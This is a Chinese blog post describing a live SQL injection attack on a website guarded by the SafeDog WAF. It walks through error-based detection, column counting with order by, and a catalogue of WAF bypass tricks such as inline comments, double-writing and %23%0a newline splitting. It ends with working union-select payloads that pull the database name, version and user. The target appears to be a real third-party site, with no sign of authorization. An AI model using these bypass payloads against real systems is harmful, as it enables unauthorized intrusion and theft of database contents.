一次SQL注入绕过WAF的实战


前言

昨天遇到了一个站点测试了很久都没有测试出来,输入错误的参数网站会有报错回显而且还有安全狗,参试了很多方法都执行不了注入的SQL语句。后面再寻找网页别的资产时发现多个页面拥有注入点,最后测试出一个页面的注入点能成功的执行出注入的SQL语句。

一、判断是否有SQL注入漏洞

SQL注入漏洞产生需要满足以下两个条件

  • 参试用户可控:前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库可以查询:传入的参数拼接到SQL语句,且带入数据库查询

我们在参数后面输入一个 ’ 发现网站报错。从报错钟我们可以得出该网站用的是MySQL数据库
在这里插入图片描述
之后在参数后面加上 and 1=1时
发现网站有安全狗拦截

之后输入and -1=-1时绕过安全狗,页面正常
在这里插入图片描述

再输入and -1=-2时,页面缺失了一块
在这里插入图片描述

由此可以初步判定BID参数存在SQL注入漏洞,之后可以进一步拼接SQL语句进行攻击,导致数据库泄露等。

二、开始注入

1.通过 order by语句查询网页字段

如果当访问BID=1 order by 3,页面返回与BID=1相同结果,访问BID=4 order by 4,页面返回与BID=1不同的结果,则字段数为3。

因为有安全狗,所以我们先输入 order by 1尝试有无拦截 。
注入后发现被拦截
如下图所示
在这里插入图片描述
之后参试绕过WAF进行注入,经过测试构造payload为

bid=31+order%23%0aby+1%23

能绕过安全狗。之后经过测试判断字段数为18

常见的绕过WAF方式

1.大小写绕过

id=1 OrDeR By 1

2.双写绕过

有些WAF设置的规则只设置一次,这样在拦截删除一次后就不会再进行删除。

id=1 ororderder bbyy 1
过滤后 ——> order by 1

3.编码绕过

有些时候检测的是关键字,那么就可以进行编码绕过
URL编码:
在这里插入图片描述
16进制编码:
在这里插入图片描述

4.符号替换

&&可替换and
||替换or
/**/替换空格
URL栏中用+替换空格

5.内联注释绕过

一般WAF不会检测注释里面的内容,但是内联注释 /*!*/ 与一般注释 /**/ 不同的是,在内联注释的代码是可以执行的。
例如:
id=1+/*! order*/ + /*!by*/ +1 

6.换行跳出单行注释绕过

数据库对于#(%23)和 – 等注释后面的东西都进行忽略处理。
我们利用WAF一般不会处理注释内的东西这一特性进行绕过,在%23后面加上%0a换行进行绕过,在%0a后面放入需要注入的语句。

id=120+%231q%0aorder%20%23qa%0A%23%0Aby%20

2.通过联合查询获取数据库等信息

通过前面判断出有18个字段。需要注入入union select 1,2,…,18 查看那个字段显示在页面上。
输入后发现被拦截
在这里插入图片描述
猜测安全狗对 union关键字进行拦截,输入bid=1 union发现没被拦截
猜测安全狗对 select关键字进行拦截,输入bid=1 select发现也没被拦截
之后输入bid=1 union select发现被安全狗拦截

在这里插入图片描述
之后payload为

bid=31%231q%0Aunion%20all%23%0Aselect%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20%23

成功绕过安全狗,得到回显的字段

在这里插入图片描述
之后修改对应字段数为以下这几个函数就能查询出对应的信息

  • database() 当前网站数据库
  • version() 当前数据库版本
  • user() 当前MYSQL用户

最后构造Payload绕过waf查询需要的信息

bid=31%231q%0Aunion%20all%23%0Aselect%201,database%23%0a(),3,4,5,6,7,8,user%23%0a(),10,11,12,13,14,15,16,17,18%20%23
  • 8
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值